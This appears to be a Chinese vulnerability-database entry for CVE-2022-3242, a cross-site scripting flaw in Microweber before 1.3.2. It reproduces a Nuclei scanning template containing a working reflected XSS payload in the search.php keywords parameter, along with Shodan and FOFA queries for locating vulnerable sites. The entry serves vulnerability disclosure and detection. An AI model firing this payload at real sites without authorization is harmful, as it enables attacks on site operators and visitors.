CVE-2022-3242: Microweber <1.3.2 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Microweber | POC: 已公开

漏洞描述

Code Injection in on search.php?keywords= GitHub repository microweber/microweber prior to 1.3.2.

PoC代码[已公开]

id: CVE-2022-3242

info:
  name: Microweber <1.3.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Code Injection in on search.php?keywords= GitHub repository microweber/microweber prior to 1.3.2.
  reference:
    - https://huntr.dev/bounties/3e6b218a-a5a6-40d9-9f7e-5ab0c6214faf/
    - https://www.tenable.com/cve/CVE-2022-3242
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3242
    - https://github.com/microweber/microweber/commit/68f0721571653db865a5fa01c7986642c82e919c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3242
    cwe-id: CWE-79,CWE-94
    epss-score: 0.16186
    epss-percentile: 0.94578
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,huntr,xss,microweber

http:
  - method: GET
    path:
      - "{{BaseURL}}/search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>") && contains(tolower(body), "microweber")'
        condition: and
# digest: 4a0a004730450220380d864423d15bda38c536668aec820732ee26fadda240d0051026a0870989ea022100e193453be7d8f364aea83c6f8b42d9a8542431d8e049780377a27fedd88ad19f:922c64590222798bb761d5b6d8e72950

相关漏洞推荐